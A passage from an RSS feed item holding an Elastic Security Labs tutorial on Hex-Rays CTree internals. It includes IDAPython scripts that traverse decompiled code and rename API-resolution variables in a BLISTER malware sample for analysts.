  mba_t *mba;                   ///&lt; underlying microcode
  cinsn_t body;              ///&lt; function body, must be a block
//...
</code></pre>
<h3>CTree traversal example</h3>
<p>The provided Python code serves as a mini recursive visitor of a CTree, note that it does not handle all node types, the last section will describe how to use the Hex-Rays built-in visitor class <a href="https://hex-rays.com/products/decompiler/manual/sdk/structctree__visitor__t.shtml"><code>ctree_visitor_t</code></a>. To begin, we obtain the <code>cfunc</code> of the function using <code>ida_hexrays.decompile</code> and access its CTree via the <code>body</code> field.</p>
<p>Next, we check if the node(item) is an expression or a statement. Finally, we can parse the type through the <code>op</code> field and explore its child nodes.</p>
<pre><code class="language-Python">import idaapi
import ida_hexrays

OP_TYPE = sorted([(getattr(ida_hexrays, x), x) for x in filter(lambda y: y.startswith('cit_') or y.startswith('cot_'), dir(ida_hexrays))])


def get_op_name(op):
    &quot;&quot;&quot;
    Return the name of the given mcode_t.
    &quot;&quot;&quot;
    for value, name in OP_TYPE:
        if op == value:
            return name
    return None


def explore_ctree(item):
        print(f&quot;item address: {hex(item.ea)}, item opname: {item.opname}, item op: {get_op_name(item.op)}&quot;)
        if item.is_expr():
            if item.op == ida_hexrays.cot_asg:
                explore_ctree(item.x) # left side
                explore_ctree(item.y) # right side

            elif item.op == ida_hexrays.cot_call:
                explore_ctree(item.x)
                for a_item in item.a: # call parameters
                    explore_ctree(a_item)

            elif item.op == ida_hexrays.cot_memptr:
                explore_ctree(item.x)
        else:
            if item.op == ida_hexrays.cit_block:
                for i_item in item.cblock: # list of statement nodes
                    explore_ctree(i_item)

            elif item.op == ida_hexrays.cit_expr:
                explore_ctree(item.cexpr)
                
            elif item.op == ida_hexrays.cit_return:
                explore_ctree(item.creturn.expr)
            

def main():
    cfunc = ida_hexrays.decompile(here())
    ctree = cfunc.body
    explore_ctree(ctree)


if __name__ == '__main__':
    main()
</code></pre>
<p>Displayed below is the output of the traversal script executed on the <code>start</code> function of a <a href="https://www.elastic.co/jp/security-labs/revisiting-blister-new-developments-of-the-blister-loader">BLISTER</a> <a href="https://www.virustotal.com/gui/file/c98137e064bc0cd32ed0415e19daf16ed451fe1289bc41e7251dd79326206d53">sample</a>:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introduction-to-hexrays-decompilation-internals/image9.png" alt="CTree traversal script’s output, decompiled function, CTree graph" /></p>
<h3>Practical example: annotating the custom import table of a malware sample</h3>
<p>Now that we've gained insights into the architecture and structures of the generated CTree, let's delve into a practical application and explore how to automate the annotation of a custom import table of malware.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introduction-to-hexrays-decompilation-internals/image4.png" alt="Annotation of a custom import table of a malware" /></p>
<p>Hex-Rays provides a utility class <a href="https://hex-rays.com/products/decompiler/manual/sdk/structctree__visitor__t.shtml"><code>ctree_visitor_t</code></a> that can be used to traverse and modify the CTree, two important virtual methods to know are:</p>
<ul>
<li><code>visit_insn</code>: to visit a statement</li>
<li><code>visit_expr</code>: to visit an expression</li>
</ul>
<p>For this example, the same BLISTER sample is used; after locating the function that gets Windows APIs addresses by hash at address 0x7FF8CC3B0926(in the .rsrc section), adding the enumeration to the IDB and applying the enum type to its parameter, we create a class that inherits from <code>ctree_visitor_t</code>, as we are interested in expressions, we will be overriding <code>visit_expr</code> only.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introduction-to-hexrays-decompilation-internals/image6.png" alt="CTree graph of a function at address 0x7FF8CC3B7637 generated using hrdevhelper" /></p>
<p>The idea is to locate a <code>cot_call</code> node(1) of the function that resolves APIs by passing the <code>obj_ea</code> address of node’s first child to the function <code>idc.get_name</code> which will return the function name.</p>
<pre><code class="language-Python">   if expr.op == idaapi.cot_call:
            if idc.get_name(expr.x.obj_ea) == self.func_name:
		#...
</code></pre>
<p>Next retrieve the enum of the hash by accessing the right parameter of the call node(2), in our case parameter 3.</p>
<pre><code class="language-Python">    carg_1 = expr.a[HASH_ENUM_INDEX]
    api_name = ida_lines.tag_remove(carg_1.cexpr.print1(None))  # Get API name
</code></pre>
<p>The next step is to locate the variable that has been assigned the address value of the WinAPI function. To do that we first need to locate the <code>cot_asg</code> node(3), parent of the call node by using the <code>find_parent_of</code> method under <code>cfunc.body</code> of the decompiled function.</p>
<pre><code class="language-Python">    asg_expr = self.cfunc.body.find_parent_of(expr)  # Get node parent
</code></pre>
<p>Finally, we can access the first child node(4) under the <code>cot_asg</code> node, which is of type <code>cot_var</code> and get the current variable name, the Hex-Rays API <a href="https://hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp.shtml#ab719cfcfa884c57284cd946ac90b3c17"><code>ida_hexrays.rename_lvar</code></a> is used to rename the new variable with the Windows API name taken from the enum parameter.</p>
<p>This process can ultimately save a significant amount of time for an analyst. Instead of spending time on relabeling variables, they can direct their attention to the core functionality. An understanding of how CTrees work can contribute to the development of more effective plugins, enabling the handling of more complex obfuscations.</p>
<p>For a complete understanding and context of the example, please find the entire code below:</p>
<pre><code class="language-Python">import idaapi
import ida_hexrays
import idc
import ida_lines
import random
import string

HASH_ENUM_INDEX = 2


def generate_random_string(length):
    letters = string.ascii_letters
    return &quot;&quot;.join(random.choice(letters) for _ in range(length))


class ctree_visitor(ida_hexrays.ctree_visitor_t):
    def __init__(self, cfunc):
        ida_hexrays.ctree_visitor_t.__init__(self, ida_hexrays.CV_FAST)
        self.cfunc = cfunc
        self.func_name = &quot;sub_7FF8CC3B0926&quot;# API resolution function name

    def visit_expr(self, expr):
        if expr.op == idaapi.cot_call:
            if idc.get_name(expr.x.obj_ea) == self.func_name:
                carg_1 = expr.a[HASH_ENUM_INDEX]
                api_name = ida_lines.tag_remove(
                    carg_1.cexpr.print1(None)
                )  # Get API name
                expr_parent = self.cfunc.body.find_parent_of(expr)  # Get node parent

                # find asg node
                while expr_parent.op != idaapi.cot_asg:
                    expr_parent = self.cfunc.body.find_parent_of(expr_parent)

                if expr_parent.cexpr.x.op == idaapi.cot_var:
                    lvariable_old_name = (
                        expr_parent.cexpr.x.v.getv().name
                    )  # get name of variable
                    ida_hexrays.rename_lvar(
                        self.cfunc.entry_ea, lvariable_old_name, api_name
                    ) # rename variable
        return 0


def main():
    cfunc = idaapi.decompile(idc.here())
    v = ctree_visitor(cfunc)
    v.apply_to(cfunc.body, None)


if __name__ == &quot;__main__&quot;:
    main()
</code></pre>
<h2>Conclusion</h2>
<p>Concluding our exploration into Hex-Rays microcode and CTree generation, we've gained practical techniques for navigating the complexities of malware obfuscation. The ability to modify Hex-Rays pseudo code allows us to cut through obfuscation like Control Flow Obfuscation, remove dead code, and many more. The Hex-Rays C++ SDK emerges as a valuable resource, offering well-documented guidance for future reference.</p>
<p>We hope that this guide will be helpful to fellow researchers and any avid learner, please find all the scripts in our <a href="https://github.com/elastic/labs-releases/tree/main/tools/ida_scripts">research repository</a>.</p>
<h2>Resources</h2>
<ul>
<li><a href="https://i.blackhat.com/us-18/Thu-August-9/us-18-Guilfanov-Decompiler-Internals-Microcode-wp.pdf">Ilfak Guilfanov's Decompiler Internals: Microcode presentation</a></li>
<li><a href="https://hex-rays.com/blog/hex-rays-decompiler-primer">Hex-Rays decompiler primer</a></li>
<li><a href="https://github.com/patois/HRDevHelper/">HRDevHelper</a></li>
<li><a href="https://github.com/gaasedelen/lucid">lucid utility</a></li>
<li><a href="https://hex-rays.com/products/decompiler/manual/sdk/">Hex-Rays SDK</a></li>
<li><a href="https://github.com/elastic/labs-releases">Elastic Security Labs enablement tools</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/introduction-to-hexrays-decompilation-internals/photo-edited-05.png" length="0" type="image/png"/>
        </item>
    </channel>
</rss>